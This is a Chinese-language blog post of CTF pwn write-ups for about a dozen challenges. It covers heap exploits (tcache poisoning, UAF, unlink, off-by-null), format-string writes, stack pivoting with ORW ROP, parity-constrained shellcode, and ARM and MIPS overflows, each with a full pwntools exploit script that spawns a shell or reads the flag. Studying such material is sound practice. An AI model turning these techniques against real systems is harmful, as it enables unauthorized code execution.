前言 决定考研之后几乎就没做过题了,,已经回归菜鸡水平,
希望读研之后能抽空做一做pwn,这篇博客用来记录研究生之后做的题目,,
0x00 MTCTF note libc-2.31 编辑时,idx可以输入负数,通过非法索引修改到栈的返回地址为system
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall sub_4014B6 (__int64 a1) { int idx; void *buf; printf ("Index: " ); idx = input(); if ( idx > 16 || !*(_QWORD *)(16LL * idx + a1) ) return puts ("Not allowed" ); buf = *(void **)(16LL * idx + a1); printf ("Content: " ); return read(0 , buf, *(int *)(16LL * idx + a1 + 8 )); }
泄露libc基址,先free7个tcache,free一个unsortedbin,再申请一个小堆块分割unsortedbin,产生last_remainder,在小堆块中残留了libc地址可以打印。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 io = start() def add (size,con ): sla("5. leave" ,"1" ) sla("Size:" ,str (size)) sa("Content:" ,con) def show (idx ): sla("5. leave" ,"2" ) sla("Index:" ,str (idx)) def edit (idx,con ): sla("5. leave" ,"3" ) sla("Index:" ,str (idx)) sa("Content:" ,con) def delete (idx ): sla("5. leave" ,"4" ) sla("Index:" ,str (idx)) for i in range (9 ): add(0x100 ,"a" ) for i in range (8 ): delete(i) add(0x10 ,b'a' ) show(0 ) libc_base = l64() - 0x1ecc61 info(hex (libc_base)) bin_sh = libc_base + next (libc.search(b'/bin/sh\x00' )) system = libc_base + libc.sym['system' ] info("systme:" + hex (system)) og = libc_base + 0xe3b34 pop_rdi = 0x00000000004017b3 ret = 0x000000000040101a rop = p64(0 ) + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(system) gdb.attach(io) edit(-4 ,rop) ia()
0x01 MTCTF 捉迷藏 libc-2.27 大量混淆数据,90%没用,重点观察栈中最后一个变量v345,找到相应的循环体
逐层向上找,逆出题目逻辑,最后通过栈溢出覆盖返回地址。
特别记录的一点是, IDA中如下的代码,HIBYTE(), LOBYTE()的含义似乎有歧义
1 2 HIBYTE(v95) ^= 0x38 u; LOBYTE(v98) = v98 ^ 0xC6 ;
IDA中汇编是mov byte ptr [rbp+var_374+3], al
,即取v95的最高位字节,LOBYTE()即取最低字节,而C/C++中并非如此,test.cpp如下,不知是IDA的反编译问题还是…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <iostream> #include <Windows.h> int main () { int i = 10241035 ; WORD ih = HIWORD (i); WORD il = LOWORD (i); std::cout << std::hex << "ih: " << ih << std::endl; std::cout << std::hex << "il: " << il << std::endl; WORD bh = HIBYTE (i); WORD bl = LOBYTE (i); std::cout << std::hex << "ih: " << bh << std::endl; std::cout << std::hex << "il: " << bl << std::endl; return EXIT_SUCCESS; }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 io = start() def f (): ret = "" v104 = [0 ] * 42 z = "vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM" v104[40 ] = 0x19 v104[32 ] = 0x92 v104[14 ] = 0xA4 v104[22 ] = 0xE6 v104[17 ] = 0x9A v104[1 ] = 0x7F v104[38 ] = 0x15 v104[0 ] = 0x3C v104[31 ] = 0x34 v104[30 ] = 0x2B v104[10 ] = 0x89 v104[26 ] = 0x98 v104[23 ] = 0xC6 v104[21 ] = 0x68 v104[34 ] = 0x8F v104[25 ] = 0x5C v104[12 ] = 0x5C v104[27 ] = 0xEB v104[35 ] = 0x42 v104[41 ] = 0xCC v104[6 ] = 0x49 v104[16 ] = 0xA8 v104[7 ] = 0xA6 v104[29 ] = 0x4E v104[3 ] = 0xE2 v104[13 ] = 0x31 v104[36 ] = 0x86 v104[11 ] = 0xA7 v104[18 ] = 0x75 v104[5 ] = 1 v104[39 ] = 0xC5 v104[9 ] = 0x93 v104[15 ] = 0x38 v104[24 ] = 0xC6 v104[2 ] = 0xFC v104[20 ] = 0xC5 v104[19 ] = 0x23 v104[37 ] = 0xEB v104[28 ] = 0xE0 v104[33 ] = 0x51 v104[4 ] = 0x59 for i in range (42 ): ret += chr (v104[i] ^ ord (z[i])) return ret ru('sbAmJLMLWm' ) for i in range (8 ): sd("1 " ) ru('HuEqdjYtuWo' ) sd("1" *51 ) ru("hbsoMdIRWpYRqvfClb" ) sd("1" *53 ) ru("tfAxpqDQuTCyJw" ) sd("1" *34 ) ru("UTxqmFvmLy" ) for i in range (3 ): sd("1 " ) sd("9254 " ) sd("0 " ) for i in range (3 ): sd("1 " ) ru("LLQPyLAOGJbnm" ) sd(f()) ru("gRGKqIlcuj" ) backdoor = 0x40132C payload = b"1" * 0x17 +p64(backdoor) +p64(backdoor) + b"1" * (55 - 0x17 - 8 -8 ) sd(payload) io.interactive()
0x02 DASCTF2209 cyberprinter libc-2.31 保护全开,通过栈溢出可以泄露出libc基址,难点在于格式化字符串的利用
1 2 3 4 5 6 7 8 read(0 , s, 0x80 uLL); if ( strchr (s, 'p' ) || strchr (s, 'P' ) || strchr (s, 'x' ) || strchr (s, 'X' ) ){ puts ("bad luck" ); exit (-1 ); } printf (s);puts ("\nWhen you left,hope you can go wherever you want!" );
一次fmtstr漏洞的利用,进行地址任意写,无法修改got表,只能寻找libc中可用可修改的函数。
先说本地测试成功的是修改__strlen_avx2()的libc中的got,首先进入puts函数,
发现call *ABC*+0x9f630@plt,继续步入发现__strlen_avx2(),也就是说修改其指针指向onegadget,即可getshell
在libc-2.31.so找到puts函数,可以找到plt和got的偏移,构造payload即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 io = start() sla("name?pls.." ,"a" *23 ) libc_base = l64() - 0x1ed5c0 info(hex (libc_base)) og = [0xe3afe ,0xe3b01 ,0xe3b04 ] one_gadget = libc_base + og[1 ] libc_atexit = libc_base + 0x01E8898 rtld = libc_base + 0x22cf68 strlen = libc_base + 0x1EC0A8 tar = rtld info("target: " + hex (tar)) info("one: " + hex (one_gadget)) payload = b"" written_size = 0 offset = 17 for i in range (6 ): size = (one_gadget>>(8 *i)) & 0xff if (size > (written_size & 0xff )): payload += '%{0}c%{1}$hhn' .format (size-(written_size&0xff ),offset+i).encode() written_size += size - (written_size & 0xff ) else : payload += '%{0}c%{1}$hhn' .format ((0x100 -(written_size&0xff ))+size,offset+i).encode() written_size += (0x100 - (written_size&0xff )) + size payload=payload.ljust(0x48 ,b'a' ) for i in range (6 ): payload += p64(tar+i) sa("so you can't do sth" ,payload) io.interactive()
两次失败的是尝试修改__libc_atexit和rtld_lock_default_lock_recursive
rtld_lock_default_lock_recursive,其定义于sysdeps/nptl/libc-lockP.h中,如下:
1 2 3 4 5 6 7 #ifdef SHARED ... # define __rtld_lock_lock_recursive(NAME) \ GL(dl_rtld_lock_recursive) (&(NAME).mutex) # define __rtld_lock_unlock_recursive(NAME) \ GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
而__libc_atexit是exit里存在函数指针,不详细记录了,具体逻辑可以在IDA里查看
1 RUN_HOOK (__libc_atexit, ());
但是并没有成功,__libc_atexit甚至都没有改掉,这里挖坑先空着,之后回头解决。
0x02 DASCTF2209 appetizer libc-2.31 程序开启沙盒和NX,首先通过构造栈帧绕过程序认证,再使用栈迁移加ROP使用ORW读出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 io = start() sa("Let's check your identity" ,b'\x00\x00Nameless' ) ru(b"Here you are:0x" ) end = int (rl().strip(b'\n' ),16 ) pie = end - 0x4050 read_plt = pie + elf.plt['read' ] write_plt = pie + elf.plt['write' ] puts_plt = pie + elf.plt['puts' ] puts_got = pie + elf.got['puts' ] pop_rdi = pie + 0x00000000000014d3 pop_rsi_r15 = pie + 0x00000000000014d1 ret = pie + 0x000000000000101a leave_ret = pie + 0x00000000000012d8 info(hex (end)) payload = p64(pop_rdi) + p64(1 )+ p64(pop_rsi_r15) + \ p64(puts_got) + p64(0 ) + p64(write_plt) +p64(ret)*21 + p64(pie+0x1428 )+\ p64(end-8 ) + p64(leave_ret) payload = payload.ljust(0xf8 ,b"\x00" ) payload += b"flag.txt" sa("information on it" ,payload) sa("Tell me your wish:" ,p64(end-8 ) + p64(leave_ret)) libc_base = l64() - 0x84420 info(hex (libc_base)) open_= libc_base + libc.sym['open' ] pop_rdx = libc_base + 0x0000000000142c92 pop_rsi = libc_base + 0x000000000002601f payload = p64(pop_rdi) + p64(end+0xf8 )+ p64(pop_rsi) + \ p64(0 ) + p64(open_) payload += p64(pop_rdi) + p64(3 )+ p64(pop_rsi) + \ p64(end+0x100 ) + p64(pop_rdx) + p64(0x30 ) + p64(read_plt) payload += p64(pop_rdi) + p64(1 )+ p64(write_plt) sd(payload) sl("ld1ng" ) io.interactive()
0x03 DASCTF2209 bar libc-2.31 libc基址白给,漏洞在于drink函数没有对堆块的检查,导致double free和UAF(似乎没用)
1 2 3 4 5 if ( !*(_QWORD *)list [v1] ){ puts ("run off" ); free ((void *)list [v1]); }
首先塞满tcache,加两个unsortedbin(合并),再申请回一个tcache,bouble free后面的unsortedbin,这样unsortedbin块就进入了tcache,最后申请小块分割合并的大unsortedbin,使main_arena下移到tcache的fd指针。最后用drink函数修改main_arena为malloc_hook,getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 io = start() def add (op,con ): sla("Your choice:" ,"1" ) sla("brandy or Vodka?" ,str (op)) sa("to the waiter:" ,con) def free (idx,num ): sla("Your choice:" ,"2" ) sla("Which?" ,str (idx)) sla("How much?" ,str (num)) def leak (): sla("Your choice:" ,"3" ) ru("0x" ) libc_base = int (rl().strip(b'\n' ),16 ) return libc_base libc_base = leak() - 0x1ed6a0 info(hex (libc_base)) info(hex (libc_base + libc.sym['__malloc_hook' ])) ogg = one_gadget() for i in range (10 ): add(0 ,'a' ) for i in range (9 ): free(i,0x100 ) add(0 ,'b' ) free(8 ,0 ) add(1 ,'c' ) add(1 ,'c' ) add(2 ,'c' ) free(8 ,0x80 ) add(0 ,'d' ) add(0 ,p64(ogg[1 ])) add(0 ,"test\n" ) ia()
0x04 DASCTF2209 cgrasstring libc-2.27.so C++ STLstring类的resize很类似realloc,可以实现free功能。当resize是扩大当前string时,会delet掉原来的string,然后新建一个。
调试发现,同类大小堆块申请后tcache中会先放入一个同大小的堆块。先填满tcache,再free一个unsortedbin,由于存在UAF,所以直接打印main_arena,泄露出libc。由于内容resize机制,会将原内容cpy到新地址,而change的内容还是会写到旧堆块,所以之后修改tcache的fd为free_hook,将free_hook改为system,将idx8内容写为/bin/sh,当free(8)时,getshell。
ps:本地one_gadget测试一直不过,不清楚情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 io = start() def add (size,con ): sla("Your choice:" ,"1" ) sla("size:" ,str (size)) sa("content:" ,con) def change (idx,size,con ): sla("Your choice:" ,"2" ) sla("idx" ,str (idx)) sla("size" ,str (size)) sa("content" ,con) def show (idx ): sla("Your choice:" ,"3" ) sla("idx" ,str (idx)) def getshell (): sla("Your choice:" ,"2" ) sla("idx" ,str (8 )) sla("size" ,str (0x80 )) for i in range (8 ): add(0x80 ,'a' ) for i in range (1 ,7 ): change(i,0x90 ,'\xe0' ) change(7 ,0x90 ,'\xe0' ) show(7 ) libc_base = l64() - 0x3ebce0 info(hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] info(hex (free_hook)) system = libc_base + libc.sym['system' ] add(0x20 ,b'/bin/sh\x00' ) change(8 ,0x30 ,p64(free_hook)) add(0x20 ,p64(system)) getshell() ia()
0x05 GKCTF EscapeSH libc-2.23,题目是一个模拟shell程序,可以逆向分析过程,总的分为打印菜单,获取路径,输入命令和执行四步,漏洞点在输入命令时,为分割后的命令分配堆,strcpy存在的off by null漏洞,值得注意的是IDA中strlen()的C反编译代码形式如下。
另外在monitor命令中存在这样一个函数,dl_iterate_phdr((int (*)(struct dl_phdr_info *, size_t, void *))callback, “EscapeSh”),发现里面存在后门函数。
dl_iterate_phdr() 允许程序迭代它已加载的共享对象。回调函数对每个加载的共享对象调用一次,允许对每个共享对象执行一个操作。 callback 使用三个参数调用:
指向包含共享对象信息的dl_phdr_info类型结构的指针;
结构的整数大小;
以及dl_iterate_phdr()的data参数的副本。如果回调函数返回一个非零值, dl_iterate_phdr()将停止处理,即使有未处理的共享对象。处理顺序未指定。
dl_phdr_info 结构
1 2 3 4 5 6 struct dl_phdr_info { ElfW(Addr) dlpi_addr; const char * dlpi_name; const Elf (Phdr) *dlpi_phdr ; ElfW(Half) dlpi_phnum; };
ElfW宏根据不同的硬件架构定义合适的elf数据类型,如32位平台就是Elf32_Addr.
ELF 共享对象包含一些数据段, 每个段都会有个程序头结构来描述这个段。
Elf32_Phdr :
1 2 3 4 5 6 7 8 9 10 typedef struct {Elf32_Word p_type; Elf32_Off p_offset; Elf32_Addr p_vaddr; Elf32_Addr p_paddr; Elf32_Word p_filesz; Elf32_Word p_memsz; Elf32_Word p_flags; Elf32_Word p_align; } Elf32_Phdr;
其中需指出的是p_memsz大于或等于p_filesz, 这是因为,在内存中的段可能会存在.bass节, 由于这个放到磁盘会占用空间,所以在段加载到内存都会加上。
一个小demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #define _GNU_SOURCE #include <link.h> #include <stdlib.h> #include <stdio.h> static int callback (struct dl_phdr_info *info , size_t size, void *data) { int j; printf ("name: %s (%d segemts)\n" , info->dlpi_name, info->dlpi_phnum); for ( j =0 ; j< info->dlpi_phnum; j++){ printf ("\t\t header %2d: address = %10p\n" ,j, (void *) (info->dlpi_addr + info->dlpi_phdr[j].p_vaddr)); } return 0 ;} int main (int argc, char * argv[]) {dl_iterate_phdr(callback, NULL ); exit (EXIT_SUCCESS);}
所以可以通过dl_iterate_phdr 遍历程序当前加载的动态库,从而获取基地址,其中就包括libc。查看其偏移0x3c4b10可知为__malloc_hook,那么只要触发__malloc_hook的值为”monitor”即可执行后门函数。
通过off by null 覆盖p位,构造堆块重叠,通过echo泄露libc基址,修改fd为mallochook附近,修改为”monitor”即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 def cmd (*args ): payload = b'' for buf in args: payload += buf payload += b' ' sl(payload) io = start() cmd(b'a' *0x90 ,b'b' *0x60 ,b'c' *0xf0 ,b'd' *0x10 ) for i in range (7 ): cmd(b'a' *(0x68 -i)) cmd(b'a' *0x60 +b'\x10\x01' ) cmd(b'a' *0xf0 ) cmd(b'a' *(0x100 -1 ),b'b' *0x30 ,b'c' *0x30 ,b'd' *0x30 ,b'e' *0x30 ) cmd(b'a' *0x9f ) for i in range (7 ): cmd(p8(0x71 )*(0x9f -i)) cmd(b"echo" , b"a" *(0x5f ),b"b" *(0x8f )) malloc_hook = l64()-88 -0x10 cmd(b"a" *0xa7 ) cmd(b"a" *0xa6 ) cmd(b'a' *0xa0 +p64(malloc_hook-0x23 )[:-2 ]) for i in range (7 ): cmd(b'q' *(0x9f -i)) s(hex (malloc_hook)) cmd(b'monitor' ,b"a" *0x60 ,b"b" *0x13 +b"monitor" +b"a" *0x45 ) ia()
0x06 GKCTF demo_catRoom 一道模拟客户端服务器的题目,简单的堆溢出,问题出在复制账号密码时,客户端发送的内容最长为0x68,但是服务器端会将其复制到大小为0x48的缓冲区。利用这一点可以覆盖存放admin密码的heap,然后修改密码或者更改admin用户名,然后登录admin用户,打印flag即可。难点是审计和有耐心去审server端代码。
server端在刚开始的时候检测第一个用户有没有被注册,如果未注册,自动注册用户admin
内存结构如下,由于存在溢出,可以修改tcachebin链,链接到admin的chunk上,从而修改admin的密码;或者最简单的是直接修改自己的用户名为admin
exp使用修改密码的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def registe (name,passwd ): sla("0 exit \n" ,"1" ) sla("your name\n" ,name) sla("passwd\n" ,passwd) def login (name,passwd ): sla("0 exit \n" ,"2" ) sla("name\n" ,name) sla("passwd\n" ,passwd) def remove (name,passwd ): sla("0 exit \n" ,"4" ) sla("remove name\n" ,name) sla("passwd\n" ,passwd) registe("1" ,'1' ) registe("2" ,'2' ) registe("3" ,'3' ) remove("1" ,'1' ) remove("3" ,'3' ) remove("2" ,'2' ) registe("1" ,'2' *5 *8 +"\x40" ) registe("2" ,'2' ) registe("ld1ng" ,"a" ) login("admin" ,"ld1ng" ) ia()
0x07 GKCTF checkin 只能溢出8个字节,但是存在野生的双leave ret,可以栈迁移。
先泄露出puts的地址,然后第二次栈溢出返回one_gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pop_rdi = 0x0000000000401ab3 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] sa(">" ,b'admin\x00\x00\x00' + p64(pop_rdi) + p64(puts_got) + p64(0x00000000004018B5 )) sa('>' ,b'admin\x00\x00\x00' +b'a' *0x18 +p64(0x0000000000602400 )) libc_base = l64() - 0x80970 inf(libc_base) binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) system = libc_base+libc.sym['system' ] inf(system) og = [0x4f2a5 ,0x4f302 ,0x10a2fc ] ogg = libc_base + og[1 ] sa('>' ,b'admin\x00\x00\x00' *3 + p64(ogg)) sa('>' ,b'admin\x00\x00\x00' *4 + p64(0x0000000000602400 )) ia()
0x08 ACTF parity 题目要求如下,用户输入一段shellcode,但添加了奇偶校验,shellcode必须符合奇数偶数交替的条件。
1 2 3 4 5 6 7 8 9 10 11 buf = mmap(0LL , 0x2000 uLL, 7 , 34 , 0 , 0LL ); v4 = read(0 , buf, 0x2000 uLL); for ( i = 0 ; i < v4; ++i ) { if ( (*((_BYTE *)buf + i) & 1 ) != i % 2 ) { puts ("bad shellcode!" ); return 1 ; } } ((void (__fastcall *)(_QWORD))buf)(0LL );
其中系统调用syscall为0f 05 显然不符合奇偶交替的特点。
另一条路是再次执行read@plt(0x4010f4),重新对 buf
进行输入,因为 rip
接着 read
的触发继续执行,那么输入与制造 shellcode
等长的垃圾字符,继续输入 pwntools
自带的shellcode即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 check=lambda code:list (map (lambda s:s&1 , code)) shellcode = asm(''' // 0 1 0 1 xor rax,3 // 0 1 0 inc rax // 1 cdq // 0 1 0 1 shl rax,7 // 0 1 0 shl rax,1 // 1 cdq // 0 1 0 inc rax // 1 cdq // 0 1 0 1 shl rax,7 // 0 1 0 shl rax,1 // 1 cdq // 0 1 0 1 xor rax,0xf // 0 1 0 1 shl rax,3 // 0 1 0 shl rax,1 // 1 cdq // 0 1 0 1 xor rax,3 // 0 1 0 inc rax // 1 cdq // 0 1 0 1 xor rdx,0x71 // 0 nop // 1 0 call rax ''' )print (check(shellcode))print (len (shellcode))sd(shellcode) gdb.attach(io,'b *0x000004012F5' ) payload = fit({len (shellcode): asm(shellcraft.sh())}) print (hexdump(payload))sd(payload) ia()
read的效果
0x09 ACTF dreams 漏洞还是很好找的,在free的时候没有将指针清零,存在UAF,可以edit和show。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 sell () { int idx; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("You've come to sell your dreams." ); printf ("Which one are you trading in? " ); idx = 0 ; __isoc99_scanf("%d" , &idx); getchar(); if ( idx >= MAX_DREAMS || idx < 0 ) { puts ("Out of bounds!" ); exit (1 ); } puts ("You let it go. Suddenly you feel less burdened... less restrained... freed. At last." ); free (*(void **)(8LL * idx + dreams)); puts ("Your money? Pfft. Get out of here." ); return __readfsqword(0x28 u) ^ v2;
利用方法就是多次修改tcache链,首先由于只能add5次,所以先修改到MAX_DREAMS变量处,将它修改为一个较大的值,之后将tcache改为free函数的地址,申请出来后就可以show出来,泄露出libc基址;之后再次修改为freehook地址,将freehook改为ogg即可。
好久没写这么丑的exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 def add (idx,date,con="bbbb" ): sla("3. Visit a psychiatrist" ,"1" ) sla("loses its grip." ,str (idx)) sla("(mm/dd/yy))?" ,date) sla("you dream about?" ,con) def delete (idx ): sla("3. Visit a psychiatrist" ,"2" ) sla("sell your dreams." ,str (idx)) def show_edit (idx,con ): sla("3. Visit a psychiatrist" ,"3" ) sla("decipher your dream." ,str (idx)) sla("I don't make the rules. Or do I?" ,con) add(1 ,'aaaa' ) add(2 ,'bbbb' ) delete(1 ) delete(2 ) show_edit(2 ,p64(0x0000000000404008 )) delete(1 ) add(3 ,'cccc' ) add(0 ,'dddd' ) add(4 ,'aaaa' ,p64(0x9999 )) show_edit(0 ,p64(0x0000403F88 )) sla("3. Visit a psychiatrist" ,"3" ) sla("decipher your dream." ,str (526 )) libc_base = l64() - 0x80970 info(hex (libc_base)) og = [0x4f2a5 ,0x4f302 ,0x10a2fc ] ogg = libc_base + og[1 ] free_hook = libc_base + libc.sym["__free_hook" ] info(hex (free_hook)) io.recv() sl("1" ) sl("7" ) sl("7" ) sl("7" ) sla("3. Visit a psychiatrist" ,"1" ) sl("8" ) sl("8" ) sl("8" ) delete(7 ) delete(8 ) show_edit(8 ,p64(free_hook)) sla("3. Visit a psychiatrist" ,"1" ) sl("9" ) sl("9" ) sl("9" ) sla("3. Visit a psychiatrist" ,"1" ) sl("10" ) sl(p64(ogg)) delete(9 ) ia()
0x0A [Xman]level6_x64 free时没有检查标志位,并且没有清空指针,所以可以在已经free的状态下再次free
edit时可以自定义任意大小堆块,所以造成溢出
流程:
edit溢出泄露堆地址,进而得到全局heap_list地址
unlink,进而可以控制修改heap_list
将heap_list中的堆指针改为atoi的got表,show出来泄露libc地址
修改got表为og(或修改system,add时idx为’/bin/sh’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 io = start() def add (con ): sla("choice:" ,"2" ) sla("new note:" ,str (len (con))) sa("Enter your note:" ,con) def edit (idx,con ): sla("choice:" ,"3" ) sla("Note number:" ,str (idx)) sla("Length of note:" ,str (len (con))) sa("Enter your note:" ,con) def show (): sla("choice" ,"1" ) def delete (idx ): sla("choice" ,"4" ) sla("Note number:" ,str (idx)) add("a" *0x80 ) add("a" *0x80 ) add("a" *0x80 ) add("a" *0x80 ) add("a" *0x80 ) delete(3 ) delete(1 ) edit(0 ,'b' *0x90 ) show() ru('b' *0x90 ) heap_base = uu64(rl().strip(b'\n' )) -0x19c0 +0x20 inf(heap_base) payload = p64(0 ) + p64(0x80 ) + p64(heap_base -3 *8 ) + p64(heap_base-2 *8 ) payload = payload.ljust(0x80 ,b'a' ) payload += p64(0x80 ) +p64(0x90 ) payload = payload.ljust(0x100 ,b'b' ) edit(0 ,payload) delete(1 ) payload2 = p64(2 ) + p64(1 ) +p64(0x100 )+ p64(heap_base) + p64(1 )+p64(8 )+p64(elf.got['atoi' ]) payload2 = payload2.ljust(0x100 ,b'c' ) edit(0 ,payload2) show() libc_base = l64() - 0x39ea0 inf(libc_base) og = one_gadget(libc_base)[3 ] edit(1 ,p64(og)) sla("choice:" ,"2" ) ia()
0x0B Item Board free时没有清空指针,存在UAF,可以从unsortedbin中show出libc地址
然后就是类似堆风水,fastbin先进后出,del 1;del 2;再次add时,定义description的大小为1的item大小,便能控制到1 item的结构体,修改函数指针为system即可
方法二是没有对大小进行限制,超过buf的大小造成栈溢出,注意rbp-8的位置需要构造假的结构体指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 io = start() def add (len ,con ): sla("choose:" ,"1" ) sla("Item name?" ,'z' ) sla("Description's len?" ,str (len )) sla("Description?" ,con) def listt (): sla("choice:" ,"2" ) def show (idx ): sla("choose:" ,"3" ) sla("Which item?" ,str (idx)) def delete (idx ): sla("choose:" ,"4" ) sla("Which item?" ,str (idx)) add(128 ,'a' *128 ) add(128 ,'a' *128 ) add(128 ,'a' *128 ) delete(0 ) show(0 ) libc_base = l64() - 0x3c27b8 inf(libc_base) system = libc_base + libc.sym['system' ] delete(1 ) add(24 ,b'/bin/sh;' .ljust(0x10 ,b' ' )+p64(system)) delete(0 ) ia()
0x0C typo arm32架构,补充一些arm基础知识
1 2 3 4 5 6 7 8 9 R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果 在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中 R7寄存器在函数调用中负责存储系统调用号 R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 R13寄存器SP(堆栈指针)指向堆栈的顶部 R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数) R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。 其中R0 ~ R3是用来依次传递参数的,相当于x64下的rdi, rsi, rdx,R0还被用于存储函数的返回值,R7常用来存放系统调用号,R11是栈帧,相当于ebp,在arm中也被叫作FP,R13是栈顶,相当于esp,在arm中也被叫作SP,R14(LP)是用来存放函数的返回地址的,R15相当于eip,在arm中被叫作PC,但是在程序运行的过程中,PC存储着当前指令往后两条指令的位置,在arm架构中并不是像x86_ 64那样用ret返回,而是直接pop {PC}。
这里存在栈溢出,寻找gadget pop{r0,r4,pc},有binsh和system,进行rop即可。
1 2 3 4 pop_pc = 0x00020904 payload = b'a' *112 + p32(pop_pc) + p32(0x0006C384 ) + p32(0 ) + p32(0x110B4 ) sl('' ) sl(payload)
0x0D Add 学习MIPS架构基础 ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 int main (void ) { int iVar1; long lVar2; long lVar3; char *pcVar4; uint uVar5; char challenge [10 ]; char buf [64 ]; setvbuf(stdout ,(char *)0x0 ,2 ,0 ); puts ("[calc]" ); puts ("Type \'help\' for help." ); srand(0x123456 ); iVar1 = rand(); sprintf (challenge,"%d" ,iVar1); uVar5 = 0x80 ; pcVar4 = buf; do { if (uVar5 < 2 ) break ; LAB_00400984: iVar1 = _IO_getc(stdin ); if (iVar1 < 0 ) goto LAB_00400ad4; LAB_004009a4: *pcVar4 = (char )iVar1; uVar5 = uVar5 - 1 ; pcVar4 = pcVar4 + 1 ; } while (iVar1 != 10 ); if (uVar5 == 0 ) goto LAB_004009c0; do { *pcVar4 = '\0' ; LAB_004009c0: pcVar4 = strchr (buf,10 ); if (pcVar4 != (char *)0x0 ) { *pcVar4 = '\0' ; } iVar1 = strcmp (buf,"help" ); if (iVar1 == 0 ) { pcVar4 = "Type \'exit\' to exit." ; LAB_00400b18: puts (pcVar4); puts ("Input 2 numbers just like:" ); puts ("1 2" ); } else { iVar1 = strcmp (buf,"exit" ); if (iVar1 == 0 ) { puts ("Exiting..." ); return 0 ; } iVar1 = strcmp (buf,challenge); if (iVar1 == 0 ) { printf ("Your input was %p\n" ,buf); uVar5 = 0x80 ; pcVar4 = buf; goto LAB_00400984; } pcVar4 = strchr (buf,0x20 ); if (pcVar4 == (char *)0x0 ) { pcVar4 = "Error!" ; goto LAB_00400b18; } lVar2 = strtol(buf,(char **)0x0 ,10 ); lVar3 = strtol(pcVar4 + 1 ,(char **)0x0 ,10 ); printf ("%d + %d = %d\n" ,lVar2,lVar3,lVar3 + lVar2); if (lVar3 + lVar2 == 0x133a05e ) { puts ("Thanks,Bye~" ); return 0 ; } } uVar5 = 0x80 ; iVar1 = _IO_getc(stdin ); pcVar4 = buf; if (-1 < iVar1) goto LAB_004009a4; LAB_00400ad4: if (pcVar4 == buf) { return 0 ; } } while ( true ); }
猜对随机数给buf的栈地址,随机种子是由srand(0x123456)生成的,即为固定值。
buf放的是输入内容,而程序接受输入的时候是遇到\n才停止,所以存在输入过长导致栈溢出的问题,通过溢出跳到shellcode即可
